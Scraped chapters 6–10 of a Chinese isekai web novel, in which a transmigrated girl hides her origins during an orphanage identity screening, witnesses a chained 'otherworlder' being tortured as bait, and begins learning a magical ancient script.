男孩摸着鼻子又跟江弥道歉, 6. 006 《他们要我成为异世大佬》全本免费阅读 “顾臣这家伙是吃了上百条蛇数十头老虎狮子才变得这么阴沉又笑面虎又不怒自威的样子吧?”蔡平秋小声腹诽。 一想到自己竟然在他面前落荒而逃,蔡平秋还是觉得有点丢脸,她愤愤道:“我就不信以后看不到你哭的样子!” 抬脚一转,遇到学员打招呼,她立马裂开笑脸。 来到西舍时江弥正对着镜子说话,喉咙虽然能发声了,但声音嘶哑难听,还是要好好养一段时间。 蔡平秋说:“该去三堂做审查了,走吧。” 江弥点点头,跳下椅子过来牵她的手,一同往外走。 江弥本以为只有蔡平秋和她两人,结果出发时才发现一起的还有五名教习,三女两男,年岁较大,看上去很和善。 他们一路上时不时都在跟她说话逗她玩,快到三堂时,高度紧张的江弥竟然主动说了不少话,内心还十分放松,过度紧绷的神经被无数手按摩过一样,跟棉花一样松软。 这些人的亲和力未免也太强了吧! 很快她知道为什么这些人要一起来。 二十来个小孩聚在一起,大的十五,小的才四岁,刚从小混沌被带出来,此时哇哇哭成一片,几乎要掀掉三堂的屋顶。 一名教习笑着走来,轻手轻脚抱起四岁小孩摇晃,伸手给另一孩子擦眼泪,嘴里笑着安抚憋得满脸通红又不敢哭的女孩。 另一人轻手拍打怀里三个孩子,挨个拍完又摸脑袋,捏胳膊搓腿,让颤栗惊恐的孩子们放松下来。 他们熟练地安抚孩子们的不安和害怕,如同入水的鱼儿没入其中,游刃有余。 “哎哟哭了就不好看咯!这么可爱的孩子怎么可以哭呢!没事了没事了啊!” “受苦了乖囡,别怕,坏蛋都打跑了。” “哭吧孩子,哭是小孩的特权,别放在心里,哭完咱们还是酷酷的小男人一枚。” 这番安抚下,稍大点懂事的孩子本来强忍着情绪,他们刚受到惊吓,正是敏感脆弱时,面对冷漠的修士还能忍,可温柔的话语一落,就再也忍不住低哭起来。 大大小小的哭浪里融入了和煦的说话声和怜爱的目光。 站在痛哭小队最边缘、形单影只的江弥满脸茫然。 我来是做什么来着? 哦,身份审查。 审查什么? 查我会不会哭吗? 等到哭声浪潮逐渐平息,蔡平秋抹了把额上热汗,她只是抱着两个孩子哄就手忙脚乱,这种事前辈们可是做了十多年啊! 心中对五名前辈肃然起敬。 蔡平秋放下怀里的孩子,去外面端来补充体力的药水,药水还特意找巫修调制成孩子们喜欢的甜味。 她看着每个孩子喝下,抱着空杯子出去时瞥见江弥正巴巴看她怀里的杯子。 蔡平秋:“没你的份。” 其实只是在想里面会不会有真话剂的江弥:“哦。” 蔡平秋再进来时身后跟着身穿鸦青制服的三人。 鸦青长衣上绣有日月同辉,代表审判和刑罚的三堂,萧经年所在的玄甲,以及老洪的尚署都是天诛院的下属部门。 三堂的修士面色严肃,气势逼人,一出现空气也都变得凌厉。日月同辉在玄甲队身上是肃正严明的正气,穿在三堂身上却成了冷血无情的煞气。 几个抽噎的小孩立马吓出哭嗝,又因害怕不敢哭出来,泪花含在眼眶要落不落的样子,看上去十分可怜。 “走吧,孩子们。” 教习带着孩子们往三堂内部走,三名修士在前方带路。 他们进入一条深深的走廊,走廊两侧有很多分隔成同样大小的木质房间,孩子们被推进了不同的房间。 江弥进了其中一间,房间狭小密闭,内置一张桌子两张椅子,唯一的出口就是进来的门。 她站在原地观察,没看出什么,走上前刚要爬上椅子,门开了,进来一个同样恶煞的男人。 狭小的空间霎时变得压抑逼仄。 隔壁忽然传来“哇”的大哭,不过片刻,大小哭声在走廊交相呼应,江弥犹豫着是不是也该随大众嚎两嗓子。 男人拉开椅子坐下,也说:“要哭赶紧哭。” 江弥:“……” 她默默爬上椅子,两手放在膝上端正坐好,很乖巧。 男人不为所动,掏出纸笔开始询问:“名字,来自哪里,爹娘是谁,做什么的。” 这个开始让她狠狠松了口气。 江弥一直在思索身份审查究竟会查什么,但问题太泛,她对修炼和异世者知之甚少,很难找出答案,于是她将自己当做审查员。 审查的目的是什么?分辨出异世者。 如何辨识?排除真话剂这种bug级的存在,像她这样穿越的人,记忆和认知是最大的破绽。 为此,她准备的问题甚至比这更详细更复杂。 穿越的前两天她意识迷迷糊糊,但看到的听到的已经变成她记忆的一部分,有些信息不难获取,加之巫沙镇的幸存者只有她,推翻她的话基本不可能。 江弥把答案写了满脑子,做出最完美全面的答案。 可照镜子的某个瞬间,她意识到自己犯了大忌。 她是个孩子,要的是符合孩子的答案。 孩子的答卷不需要完美,不需要正确,甚至可以说谎不答,但要符合一个孩子的认知和思维。 江弥在此时递上答卷,心中排演数百遍的回答、语调和神情在此时上演—— 她没出过远门,只知道村前的大山和绕在山上的长长的路,山上有间木屋,下雨时会冒烟。爹走出大山回来就有新衣裳和好吃的,娘在家做饭缝衣。娘是欣娘,爹是三仔。 她说这些时低头抠指甲,不想提就只说几个字,或用不知道搪塞,再问就故意说假话。 小孩子有任性的资本。 男人没什么表情地记录,接着问:“你在大混沌遇到什么事?” 江弥说:“两个和你们一样的男人,抓走阿玲姐和我,阿玲姐不跟他们走,就死了。还有个拿很长很长镰刀的男人,他杀完他们……” “等等!”男人终于有了点不一样的反应,“拿镰刀的男人长什么样?” 江弥努力思考:“黑色的,帽子黑色的,衣服黑色的,全身都是黑色。” 男人拿笔在纸上画了几笔,拿给江弥看:“他拿的镰刀是这个吗?” 江弥点头:“还有漂亮的花纹,红色的。” 男人的脸色变得不太好:“继续说。” “拿很长很长镰刀的男人杀完他们,过来找到我,他没用镰刀,这样……”她张开小小的五指,然后捏成拳,“掐我。我睁眼就看到蝴蝶姐姐。蝴蝶姐姐是个好人,给我治病,还跟我说话,其他人都不跟我说话。” 关于沈白玟的部分他们已经收到资料,男人再次发问:“你怎么知道拿镰刀的是男人?” 江弥:“我就知道。” 男人:“怎么知道的?” 江弥:“我也知道你是男人。” 男人:“……#你看到他的脸了?” 江弥摇头:“你说话我知道你是男人,他说话我也知道,他的声音不好听,所以让我的声音也不好听。” 男人:“他说什么了?” 江弥想了会儿:“说错话,就会死。” 男人:“你说了什么话?” 江弥:“求他不要杀我。” 正常人听到这种话,怎么都要生出同情和怜悯,但男人没有同情,反倒敏锐察觉江弥话里潜藏的信息——说错话的不是江弥,而是那两个男人。 男人:“抓你的两个男人长什么样子?” 江弥:“哥哥总是皱眉,耳朵很小,弟弟对我笑,问我为什么不哭。” 这些信 7. 007 《他们要我成为异世大佬》全本免费阅读 审查前江弥在想,大混沌的事情哪些能说,哪些要说一半留一半,哪些又必须瞒得死死的。 这个世界的强者非常多,在无足轻重的小情上表现出小孩的任性会降低别人的警惕和怀疑,但在关键事情上,绝对不能说谎。 关于死神的存在她有想过要不要说出来,她对死神的感官很复杂,对方的行为伤害她,却也让她躲过一劫。 至少变成哑巴后,她有了一段缓冲时间来适应并了解这个世界的运行规则。 但隐瞒死神就意味着要将掐她的事情转移到兄弟俩身上,她不知道这个世界的修士能做到哪种程度,要是像小说那样能回溯死前经历,她什么也别做,直接躺平等抓算了。 即便没有这样逆天的术法,一个谎话想要瞒过所有人,就需要用更多谎话来弥补漏洞,太过冒险。 她不敢小瞧任何一个人。 也并不觉得,死神需要她帮忙打掩护。 大混沌中的唯一幸存者,可以运气好,可以经历复杂,也可以有小聪明,但不能太过聪明。 最幸运的是,知全貌的只有她,可操作空间非常大。 她的回答基本都是真的,经得起推敲,也有事情作证,就算他们回到巫沙镇一寸寸检查,也不会找到一丝漏洞。 比如他问谁是异世者,她说阿玲不是异世者。 因为阿玲确实不是异世者啊。 江弥的计划是转移注意力,不管是异世者组织,死神,还是阿玲可能是异世者,这些都能将聚集在她身上的目光分散出去。 然而她不知道的是,她无意中捅破了个大窟窿。 大混沌虽被称作特殊的自然灾害,却也是修士历练的场所,谁都可以进去的地方,直到发生过“夭折”事件—— 混沌中的所有人全灭,不管是进去历练的修士,还是混沌中尚存的普通人。 罪魁祸首是异世者。 此事一出,所有修士哗然。多方势力权衡商定后,为了防止异世者进入混沌,给混沌设置了“门”和守卫,也就是囚天笼和紫衣制服,并限定了准入名额。 现在却从江弥经历中得知,异世者已经破析囚天笼。 就像守在金库门口警戒小偷的主人,忽然发现墙壁破了个洞,自己早已被偷家。 想想都令人发狂。 而天诛院甚至不知道他们是在何时破析的,又进入过哪些混沌,之前做过身份审查的人真的没问题吗?那些未知的死亡和尸体,又有哪些是他们的人? 总之,因为这个突如其来的消息,天诛院开启了热火朝天的大检查模式,自然没空再关注江弥。 对这些一无所知的江弥随大家出去,发现他们没有离开三堂,反而在深入内部。 审查还没结束? 孩子们哭累了,有几个趴在教习背上呼呼大睡,江弥手里也牵着个耷拉着脑袋差点栽跟头的女孩。 但领路的鸦青制服还在往更深更暗处走。 空气变得阴寒。 “啊!” 突如其来的惨叫惊醒迷迷瞪瞪的孩子,大概是哭得太多了,这会儿竟然没有哭声。 教习如常往里走,来到最深处一扇门前,门沉重厚实,只有普通门的四分之三,几乎和四周墙壁融为一体。 门被打开,教习弯腰进去,小孩各个神情不安,还是跟着踏了进去。 跨过门槛,眼前蓦地一亮。 密封的房间有一座阵法台,阵法台用玉石铺成,八个方位分别树立八根刻印阵纹的白玉石柱,石柱上金文闪烁,化作字牌在玉柱间浮动,形成流光溢彩的八角牢笼。 而牢笼中间锁着一个中年男人。 石柱顶端延伸出的黑色锁链洞穿他的四肢,血水顺着锁链流下,男人几乎浸泡在自己的血水里。 “啊啊啊!” 锁链忽然哐当作响,朝着石柱绷紧收缩,四肢被拉开挂在半空,血液如同水流从身体淌出。 男人痛苦至极,仰头叫出声。 众人这才发现,他的眼睛被挖了,两行血泪模糊五官,看不出原本模样。 滴答。 滴答。 所有人都吓坏了。 江弥发现自己的手在抖,她看去,抖的不是她,是牵着她手的女孩。 女孩满脸泪水,惊恐地瞪大眼,浑身止不住地颤。 江弥想让她不要抖,抖得自己也控制不住,正准备抽手,一直和善安抚孩子的教习忽然说话了。 “他是异世者。” “让混沌降临的异世者。” “你们的爹娘,兄弟,姐妹,朋友,师长,亲戚,他们本来可以活得好好的,陪你们慢慢长大,可他们忽然变成怪物,认不出你们,还反过来伤害你们。” 教习面上悲悯叹息,一如之前那般轻柔安慰:“孩子们,这不是他们的错。” “有错的,是异世者。” “把你们的亲人变成怪物,让你们没了家,害你们险些死去。这些,都是异世者做的。” “你们经历的地狱,你们的悲惨和绝望,”那名教习指向被锁链挂起来的男人,“是因为他。” 声音温柔地吐出残忍的话,拨动所有的敏感神经。 好似温柔无害的宠物蛇忽然喷溅毒雾,毒雾扩散,让不慎吸入的人袒露出最直白的情绪,激烈而癫狂。 女孩抓江弥手的力道变得极大,手背被抓出血痕,那不是一个小孩该有的力道。 “啊啊啊啊啊!” 有孩子捂着耳朵痛苦大叫。 仿佛丢进湖水的石子,惊动了满室压抑停滞的悲鸣。 孩子们激烈反应,只知道尖锐的哭泣和失控大叫。 有个年龄较大的孩子满脸恨意冲上前要爬阵法台,被阵法弹开摔倒,可心中恨意无法舒缓,他一次次靠近又一次次被弹倒,最终只能气得捡起石头扔出去。 石头砸在男人身上。 被吊在半空的男人却咽下痛苦叫声,不再出声。 旁的孩子见到这幕,也开始捡石子砸他。 孩子们仿佛凝聚成一团,只知尖叫哭泣的也加入。 密闭牢房的墙角里竟然有许多大大小小的石头。 江弥看着这幕,只觉得心惊肉跳。 “不是的……不是这样的……” 细弱的自语在混乱中微乎其微,仿佛巨浪之下游鱼掀起的水花,几不可闻。 “不是这样的话,那应该是怎样的?” 另一道轻柔和煦的声音也响起,似安抚,也似引诱。 江弥表情一片空白,凉意从脚底直冲脑际。 不要说。 什么都不要说。 可在她右侧,低语的孩子焦虑得猛掐手指,哭着摇头说:“不是异世者……他什么都没做,证据,对,说话要讲证据!” 是孩子中年岁最大的那个。 十五岁,有些青涩,在教习温柔安慰时哭得很大声。 他正惊恐地盯着阵法台上被众人扔石子的男人,嘴里无意识否认莫名的罪行。 他背后,教习温柔地半弯腰,探头和他脸颊贴近,也望向那男人,语气仍旧温和:“哪里需要证据啊。” “不管混沌何时诞生,在何处出现,异世者总会降临在混沌中。” “难道这还不能说明,这一切是异世者做的吗?” 男孩猛地侧头,哆嗦着说:“这……这样吗?你你说得也有道理,原来是这样,异世者太坏了。” 他往旁边走了几步,眼光乱扫,捡到块石头学众人扔向男人,大声喊:“你罪大恶极!你……该死啊!” 他一边喊一边哭,融入那群魔怔的孩子中。 江弥的心却在下沉。 她被女孩牵着一直抖,但她已经没心思再去照顾其他人感受,扯了下手,没扯开,她朝女孩不耐烦道:“你抖什么,我的手被你抓痛了。” 女孩犹如惊弓之鸟,猛地松手道歉:“对不起。” 手背上的血痕 8. 008 《他们要我成为异世大佬》全本免费阅读 蔡平秋牵着女孩回去,隔壁再次响起杂乱声响。 江弥腿忽然软了下,及时扶住椅子才没有摔倒。 她对今天那幕心有余悸。 和善温柔的教习们突然化身择人而食的恶魔,那蔡平秋呢?是否也是假装善意的佛口蛇心?启蒙院真的如表面看到的那样平静祥和吗? 对周围环境的不信任让她忍不住用恶意揣测一切。 她大概,没法像之前那样面对蔡平秋了。 江弥爬上椅子,趴在桌子上,在心里整理信息。 她见过的异世者,包括自己共有四人: 死神。疑似穿越较久,修为高,有一定知名度。未知组织兄弟对死神的反应,审查时男人重点问死神信息,都可以看出这点。那其他人是否知道他异世者身份? 被囚禁的男人。困住他的阵法很复杂,修为应该不差。他被三堂用来引诱刚穿越的异世者,让其露出破绽。他的背后是否有势力?哪一方的势力? 十五岁男孩,刚穿越,经历小混沌,被抓。 相比江弥,他的情况已经算好了。 小混沌的死亡率是远远小于大混沌的,启蒙院最多的也是小混沌里出来的孩子。小混沌与其说是试炼地,更多修士将其当做修炼地。 如果他当时冷静点,被发现的可能性减小很多。 江弥突然抬头。 身份审查是不是有些简单了? 像她这样只要编造的故事糊弄得过去,在教习激起情绪时保持冷静,还是会有不少异世者能通过。 身份审查真的结束了吗? 这种令人不确定的窥探感让她忍不住焦虑,指不定什么时候说句话做个动作都能被人咬住紧紧不放。 江弥觉得自己有点杯弓蛇影,可大脑中那根预警的神经一直绷得紧紧的,让她没法忽视。 这样下去迟早露出端倪。 江弥趴在桌子上闭眼沉思,很久后她缓慢抬头,决定把自己当做这个世界的土著—— 她经历过人间惨剧,失去父母,亲眼看到阿玲姐死在面前,自己也差点被杀害。 她恨异世者,恨死神。 这是她在修行道路上前进的动力。 她要将另一个世界深深隐藏,熟悉的文字、习惯性的语言动作、所有的亲密关系,全都埋起来。 她要走到最后,不管是异世者组织,死神,还是天诛院,她都要活到最后。 坚定目标和决心后,江弥不再被无用内耗的情绪影响,蔡平秋也好,安抚的教习也好,这只是开始。 江弥开始思考异世者和这个世界的关系。 她又获得一条有价值的信息—— 混沌中必有异世者降临。 源源不断的异世者通过混沌降临太虚大陆,异世者数量恐怕比她想象的多。 异世者阵营有几个?目的是什么?相互态度如何?这些暂时不明。 大混沌将普通人变成怪物,小混沌中大妖魔杀人。 如果混沌真是异世者带来的,那么土著和异世者的对立关系,是无论如何也无法调和的。 往更深层面想,异世者为何会降临?混沌和异世者有什么关系?有办法阻止混沌和异世者降临吗?这些信息天诛院又掌握多少? 她都来了,必然是没找到阻止办法。 处境堪忧啊。 江弥有些头疼地揉着眉心,顿了下,她放下手,这个习惯得改。 沉思半晌,她暂时放弃思考这些问题,而是抬手摸了下左眼,走到镜子前认真观察。 没进去异物,也没长什么奇怪东西,眼瞳漆黑,视线……也没问题。 刚才是怎么回事? 这具身体应该没什么病吧? 还是属于异世者的特殊能力? 江弥心中有些期待,可直到隔壁声音逐渐平息,日暮降临,她也没看出端倪,只能先将这事放在脑后。 习惯了这里的作息,江弥睡得早,但躺下没多久,房门忽然被敲响,她翻个身没理。 敲门声再次响起。 江弥只能起床开门。 “我叫柏柔,孙柏柔,”门口的女孩眼含期待地望着她,“住在你隔壁。” 江弥沉默两秒,嗓音嘶哑说:“江弥。” 孙柏柔说:“蔡教习让我转告你,明天去丁四教上课。” 江弥:“我知道了,谢谢。” 孙柏柔说完也没走,就站着看她。 江弥只能主动问:“有什么事?” 孙柏柔期待问:“教习说害怕的话可以结伴一起睡,她们都一起,我……我能和你一起睡吗?” 江弥:“不能。” 被拒绝的孙柏柔失落地离开。 江弥觉得自己的态度挺明确,虽然对方看着也才十来岁,但白日被教习刺激却没和那些小孩一起发疯,很显然有几分聪明敏锐,应该感受得到她不友好的态度。 翌日在门口看到等她的孙柏柔时,她划掉了对孙柏柔聪明敏锐的评价。 孙柏柔昨晚没睡好,眼皮有点肿,但看到她很高兴:“蔡教习说你知道食堂在哪里,我能和你一起去吗?” 一条路,没有什么一起不一起的。 启蒙院同时兼并福利院和教育机构,像食堂、住宿、基础教育这些都是免费,教习兼顾生活助手和教育引导,被收留的孩子可以在这里学习,待满六年或超过十八岁就得离开。 全程不要任何回报,完完全全的慈善行为。 却非官方所为。 有些匪夷所思。 虽是慈善机构,但也有许多限制行为,比如食堂食物每人一份,必须吃完,不能浪费,不能外带,违者禁食两天。 也都是为了防止孩子养成不好的习性。 两人来到食堂,属于食物的香气和嘈杂声很有烟火气。 有像她们这样的小孩,也有十七八岁二十来岁的成人,按照身高分成两队,她们自觉走到低个子的队伍。 有个少年吹着口哨和同伴笑道:“又是一群倒霉蛋。” 他说的是惊慌失措的三个小孩,他们站在食堂中央不知该怎么办,无助又强撑着向旁人不求助。 江弥也认识,正是昨天一同进行身份审查的。 一夕间生活翻天覆地,经历大悲大喜后骤然转变环境,即便再怎么努力适应,成长也还是需要时间。 江弥看一眼,扭头,老实跟着队伍前进。 孙柏柔扯着江弥的袖子,小声说:“我想帮他们。” 江弥没理解为什么和她说这些,但无所谓,她只想毫无存在感地度过启蒙院,进入小术院。 小术院是最适合他们这样没背景没资源修士的成长平台。要在这里活下去必须变强,小术院是她的第一个目标。 孙柏柔得到她许可,朝那几个孩子招手:“这里这里,我们已经占好位子了,快来呀!” 周边的大孩小孩都看过来。 江弥:“……” 那几个小孩愣了下,你推我我推你地过来,一个个插在孙柏柔后面,嘴里还非要说一句“我不会感谢你的”“大不了下次帮你占”“谢……嗯”。 但对后面的人来说,就是莫名往后挪了几个位子,自然不会愿意。 本来排在孙柏柔后面的包子脸小孩被插队,不高兴说:“你们五个人怎么能插队呢?” 三个小孩不乐意了,他们不谢是他们的事,但怎么连累帮他们的人。 “这怎么算排队,我们早就来了。” “本来就是帮我们占的地方,你才插队!” “你别不信,你去问问,我们是不是站在那很久?” 包子脸小孩被他们气得满脸通红,又没法反驳,毕竟他也看到这几个人站了很久,最后只跟其他人换位远离他们。 孙柏柔说:“多谢江弥呢,我也是她带着过来的。” 男孩一:“江弥,她就是江弥?” 男孩二:“江弥!” 男孩三:“嗯?” 江弥被他们喊得不得不回头:“你们认识我?” 三人点头:“蔡教习说你知道最多,不懂可以问你。” 江弥:“……” 男孩一:“你的声音怎么了?” 男孩二:“你真的是大混沌唯一的幸存者?” 男孩三:“这么问不好。你等会儿去哪栋上课?” 孙柏柔看江弥一眼,主动帮她说:“她嗓子不舒服,不能说太多话。其他人不来吗?” 男孩一:“我们三个认识,就一起来了。他们有些不愿出门,还有的在哭,教习去看了。” 男孩二:“教习忙不过来,让我们找江弥。” 男孩三:“嗯。” 提到这个,几人都想起身份审查的事,但这三人都挺乐观,不然也不会第二天就跑来上课。 在同个混沌里活下来,又互帮互助一把,容易让人生出同病相怜惺惺相惜之感,不 9. 009 《他们要我成为异世大佬》全本免费阅读 半夜,两人躺在各自被窝里,面前摊着一本书。 孙柏柔指着书页上的字问:“你第一眼看它像什么?” 江弥歪头转换视野,半天给出答案:“我的头发。” 孙柏柔扑哧笑出声,又立马捂着嘴看她,见她没生气,指着其中一个笔画说:“你看这里,像不像一只飞鸟?” 手指顺着笔画一个个划过:“它飞到草地,飞过高峰,飞过河流,吃掉蛇,兔子,地鼠,停留在这里。它是捕食的意思。在很久很久以前,动物要寻找很多地方才能捕到食物,人也是。现在我们学会圈养和种植,捕食变容易了。” 江弥:“你认真的?” 孙柏柔:“什么?” 江弥见她不是开玩笑的,有点抓狂:“那它为什么不是生存?它飞过那么多地方找食物,不是生存吗?” 孙柏柔说:“生存更加复杂,除了捕食,还有繁衍和创造。” 江弥:“啊?” 孙柏柔忽然也“啊”了声,恍然解释说:“这些字是神创造的古字,平时用的是简单点的拆字,比如捕食,你看,将这里和这里拿出来拼合,就形成一个拆字,另外的部分组合也是,两个字连起来就是‘捕食’。” 接着江弥就看到十分惊奇的一幕。 孙柏柔明明只是用手指在纸张上比划着写,竟然真的画出可见的半透明状。 她将古字的笔画拆开一半重写,变成扭曲没形的奇怪图案,却见下秒,这些笔画仿佛发生了什么微妙反应,竟融合衍生,变成个像模像样的文字,有点像繁体字。 她依次写完两个拆字,拆字停留两息消失。 “要记录下来得用墨或者刻痕。” 江弥忽然觉得,这个世界可能真的有神。 孙柏柔继续说:“识字前你必须理解它,知道意思后学会拆解,自然就知道每个拆字怎么读。” 江弥:“我不能直接学拆字?它看起来更简单。” 孙柏柔摇头:“不行的,你不知道古字,就不会知道拆字由什么构成,代表什么含义,没有含义的字无法存在。” 江弥回想刚才“捕”和“食”的拆字,大脑空白,好像有橡皮擦将两个字擦去了,半点印象都没有。 这种事情合理吗?这个世界是怎么回事? 江弥尽量露出恍然大悟的表情,在心里说服自己,都能修行了,哪里有什么合理的事,正常,这都是正常的。 她学着孙柏柔的样子写笔画,没有半透明痕迹,也没有其他东西。 她扭头去看孙柏柔。 孙柏柔:“文字有灵。” 江弥:懂,我和这个灵还不熟。 江弥让孙柏柔再教她两个字,大致知道字怎么读以及代表的含义后,见孙柏柔揉着眼睛打哈欠,就吹了灯睡觉。 清晨醒来时江弥被孙柏柔抱得死死的,还糊了满脸头发,有她的也有孙柏柔的。 也是,哪能要求小孩睡觉端端正正的呢? 江弥拨开头发,将孙柏柔叫醒,一番洗漱后去食堂,刚进去就听到吼得整个大厅都能听到的声音—— “这里!江弥这里!!” “孙柏柔!我们提前占好位子了!” “快快快!!要到我们了!快来啊!!” 江弥:“……” 孙柏柔的瞌睡虫直接给他们吼跑了,她看了看周围,有些脸红地拉着江弥遮挡投过来的视线。 她小声尴尬说:“原来我昨天是这样的啊!” 江弥在思考,是假装不认识转身就走,还是硬着头皮走过去。 不等她们有所动作,打饭菜的教习给三小孩额头一人一勺,训斥道:“昨天看你们第一次来给点甜头你们还惦记上了,都给我老实排队!再乱喊你们仨也滚出去重新排队!” 三人收敛,端着盘子找位子坐下,等江弥等人拿完饭菜,十分热情地招呼她们过来才一起吃。 孙柏柔小声说:“明天我们早点来。” 崔大大口扒饭:“没事。” 李二饭菜塞满嘴地点头。 周三喝口汤:“下次占桌子吧。” 江弥看他们眼,还是低头吃饭。 “picipici——” 身后传来熟悉打招呼声。 江弥回头。 刚吃完的邢歌举着盘子准备走,她嘴角还粘了粒饭,大喇喇笑着同她打招呼:“江弥很受欢迎哦!” 江弥:“……” 她扭头,准备低头继续吃,然后同四道目光对上。 孙柏柔好奇问:“江弥,她是谁呀?” 崔大悄声但并没有压低多少地说:“那是邢歌。我们西舍邻居在启蒙院待了三年,他说有几个人不能惹,邢歌就是其一。” 江弥也抬头,这点她倒是不清楚。 崔大见另外两个都在端碗扒饭,没有接他话的意思就继续说:“倒不是说她有多能打,当然,我不是说她不厉害,她是兵修刚升二阶,也很厉害,重点是,她是陆怀的朋友。” 孙柏柔都没听过:“陆怀又是谁?” 崔大:“陆怀是星修天才,去年开了自己的星图。星图全开一般要到五阶或六阶才能做到,但他才四阶啊。据说他还感应到一丝本命星召唤,那可是本命星啊!” 崔大其实不太理解四阶五阶有什么区别,但邻居是这么说的,他就照搬,连神情也模仿得十分逼真。 孙柏柔这两天刚常识入门,对不同道途和阶层只有大概印象,但这并不妨碍她了解陆怀的天赋。 随即她疑惑问:“他这样的实力足够去小术院了,怎么还留在启蒙院?” “这就是问题所在啊!”他有些激动,“教习让他升去小术院,他不去,偏偏他还没待满六年,又不能赶他走,只能让他继续待在这里。” 江弥回想邢歌和陆怀的相处方式,了然。 孙柏柔“啊”了声:“因为邢歌?” 男孩猛点头:“陆怀没什么脾气,但邢歌脾气不好,惹到邢歌就是惹到陆怀,所以……” 他转向江弥,眼含敬佩:“你是怎么认识邢歌的?” 毕竟在他们看来,江弥就算比他们都熟悉启蒙院,也不过提前来了几天,几天就跟大佬牵上线,这不算厉害什么才算厉害? 这问题一出,扒饭的两人也不扒了,巴巴看她,孙柏柔也盯着她。 “你们继续。”江弥在他们的交谈时已经吃完,也不管他们,起身端着空盘放回收处。 崔大急匆匆喊人:“哎哎,等等啊江弥!” 李二目瞪口呆:“她什么时候吃完的?竟然不等我们!” 周三催促孙柏柔:“快快快,孙柏柔你的萝卜我帮你解决。” 孙柏柔:“好!” 江弥抱着大字书去丁楼,想到前几天碰见邢歌的场景。 她无意中卷入邢歌和陆怀的争吵,邢歌知道她不能说话后很抱歉,主动找她道歉。 邢歌是自 10. 010 《他们要我成为异世大佬》全本免费阅读 江弥再次站在这棵大柳树下时,震撼仍旧不曾减少。 细长的柳枝从天而降,绿色并非一点一点的叶,而是流动的色彩,像水墨粉出大块鲜嫩的绿色颜料,扫过苍老的树干,远处的屋舍和淡蓝的天。 绿会传染。 江弥只在千年的许愿树下见过这番场景,只是树上垂下来的是红色的许愿布条,风一吹,交错重叠,红浪如海,很壮观。 “树干刻了不少‘庇佑’‘繁盛’符文,能坚持这么久是几代教习一起的努力。” 江弥被突如其来的说话声惊到,就见一俊雅男子从她身后走来,伸手覆在粗壮的树干,微弱清光沿着树干往上散开,又顺着柳枝垂下,如万千流光坠落。 片刻后,流光消失,男子收手,仰头观察说:“蔡平秋喜欢这树,应该还能活不少年。” 江弥朝男人点头:“顾教习好。” 顾臣略有兴趣问她:“蔡平秋都怎么说的我?” 江弥思索两秒,决定挑好的说:“好帅好帅的教习。” 顾臣眉梢细微动了下,没做评价,问她:“那她有没有说,来启蒙院的第一年,每个月都要去做心理检查?” 江弥:“我会按时去。” 顾臣点头后转身离开。 这里是教习住的地方,碰到教习很正常,江弥不再关注他,凑到树干上去找他说的符文。 “庇佑”和“繁荣”,听着就像是古字。 她爬上树才找到符文,果然,也是扭曲成蚯蚓窝的文字。 结果她趴着树干琢磨到天黑,也没能从中看出类似孙柏柔口中原是故事一样的含义。 回去时很晚了,路上亮起了灯,江弥刚走到西舍就见四个小孩坐在她门口,双手撑着下巴,四颗脑袋排成排。 “你们在做什么?” 江弥特有的哑声刚出,四个脑袋齐齐扭来。 孙柏柔第一个起来,上前抱住她,伸手拍拍她的背,认真说:“没事没事,我会帮你的。” 江弥:“?” 接着三个男孩也过来,崔大李二周三哥俩好地挨个用力抱她,江弥用力挣扎……没挣脱,只能接受他们的拥抱。 “我刚开始认字也这样,用半个月才记住第一个字。” “我比他还慢,但第一个字记住后其他就很快了。” “你刚接触,慢慢来。” 四小孩在江弥来前讨论很久,才十分克制地给出自己的关心,因为孙柏柔说安慰太过会让人更加难过。 过道对面一排的房屋里,三颗脑袋从门缝探出看这边情况,江弥只好把门打开让他们进来。 “怎么来了?” 孙柏柔将木盒递过来:“先吃点东西。” 一直表情淡淡的江弥终于惊讶:“从食堂拿出来的?” 食堂不准外带,不准浪费,发现会禁食两日。 这条规则严格到发现有人对动物内脏过敏,从此食堂多了一面小型橱柜,里面是各种治过敏的药丸。 橱柜上的宣传标语:挑食不是好孩子。 执行此条的是教习,所有违反的无一例外被抓到,于是再也没有人敢违反。 江弥一边吃一边听他们说事情始末。 孙柏柔几人下课后去找江弥吃饭,结果没见到人,问了才知道她被老师骂走了,四人到处找她,找到食堂快关门,最终去找邢歌。 孙柏柔说:“学姐知道你的事后,将这个木盒给我们,说这算是不成文的规定,用这种木盒带饭,教习不会管太严。” 他们说完江弥也吃得差不多,她说:“谢谢你们。” 几人别扭了下然后看她,等着她开口。 江弥说:“没那么严重,陈教习是在点醒我,我觉得他说的有道理,就去找办法解决了。” 孙柏柔问得委婉:“那……” “我和字灵相互看不对眼,没法写出字,还没想到解决办法。”江弥说这话时神色如常,孙柏柔却听得惊愕张嘴。 三男孩面面相觑:“字灵是什么?” 江弥:“你们不知道?” 三男孩摇头。 孙柏柔解释说:“对大部分初学者来说,字是无意义的笔画,重复不断写的过程就是和字灵沟通的过程,重复到一定程度,就会明白字的含义,他们察觉不到字灵,只有少部分灵性很高的人能感知。” 江弥说:“你能感知到它?” 孙柏柔点头:“幼时我和族里姐妹识字,她们看到的是笔画构成的字,我看到的是画面,动态画面,‘破土’是草茎扎破土地用力向上,‘捕食’是飞鸟俯冲捕获蛇鼠,‘祈雨’是大地龟裂人类上山祈祷,就好像看到远古时代的某一刻。” 李二忍不住感叹:“你懂好多啊。” 孙柏柔害羞笑了下:“我家以前人很多。” 这个话题对在场的人都比较敏感,其他人没再继续。 江弥若有所思:“这样说的话,只要我不断重复写,就能和字灵融洽相处了?” 孙柏柔却很认真摇头:“你的情况很特殊。这世上总会有不少厌学不喜欢写字的人,但他们依旧能提笔写字,一样能跟字灵沟通。但字灵不允许你写。” 江弥:“……” 字灵出来聊聊,我怎么得罪你了,说出来,我改。 看到江弥郁闷表情,孙柏柔鼓励道:“也不全是坏事吧,江弥,你的灵性应该不比我差。” 江弥面无表情:“所以字灵排斥我?” 孙柏柔说:“我觉得可以理解成磁石,灵性越强,吸力越强,但如果某方面出了问题,吸力变斥力,灵性越强,阻力越大,你现在就是这种情况。” “我有一位族姐,自幼聪明早慧,她娘对她十分严苛,每日背书写字不许错一个。忽然有一日,她忘记了所有字,连她自己写的字也不认识。” 这个情况和她有点像。 江弥问:“后来呢?” 孙柏柔:“有一日她在外经历生死,大概心有彻悟吧,重新拾得所有字了。” 江弥觉得这还是心理上的问题,她撑着下巴问:“你们为什么喜欢文字?” 他们就是帮江弥解决问题来的,十分配合地回答。 